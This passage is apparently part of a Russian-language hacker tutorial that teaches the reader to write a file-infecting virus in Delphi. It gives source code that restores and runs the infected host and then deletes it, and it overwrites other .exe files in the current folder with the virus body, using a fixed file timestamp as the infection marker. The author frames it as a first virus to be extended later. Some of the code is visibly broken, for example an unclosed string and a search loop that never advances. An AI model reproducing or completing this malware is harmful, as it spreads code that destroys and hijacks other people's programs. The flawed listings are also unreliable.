Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу—> ждем завершения ее работы—> стираем «отработавший файл» (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).—> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf: array of char;
SR: TSearchRec;
My,pr: File;
ProgSize,result: integer;
PN,st: String;
si: Tstartupinfo;
p:Tprocessinformation;
infected: boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже;)), My и
Pr — это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize — размер кода программы. Остальное ясно из дальнейшего, кроме
infected — это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,’c:\windows\program.exe’,false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,’c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= ‘_’+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar(Si, SizeOf(Si) , 0);
with Si do
begin
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
— на Delphi.

Строчки эти — преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику;)), идем дальше:

result:= FindFirst (‘*.exe’,faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘03.08.98 06:00:00’ then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime (‘03.08.98 06:00:00’)));
end;
end;

//Если вир запущен «чистым», т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Заключение

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Приложение

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile — в WinAPI нет аналога — сопоставляет файл
с переменной типа File или TextFile

Reset — аналоги _lopen и CreateFile — открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite — _lcreate и CreateFile — создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead — _lread и ReadFile — читает в буфер
определенное количество данных из файла

BlockWrite — _lwrite и WriteFile — соответственно, пишет
данные в файл

SeekFile — _llseek и SetFilePointer — перемещает позицию
чтения/записи в открытом файле

CloseFile — _lclose и CloseHandle — закрывает открытый
файл

Erase — DeleteFile — удаление файла

FindFirst — FindFirstFile — поиск файла по критериям

FindNext — FindNextFile — поиск следующего файла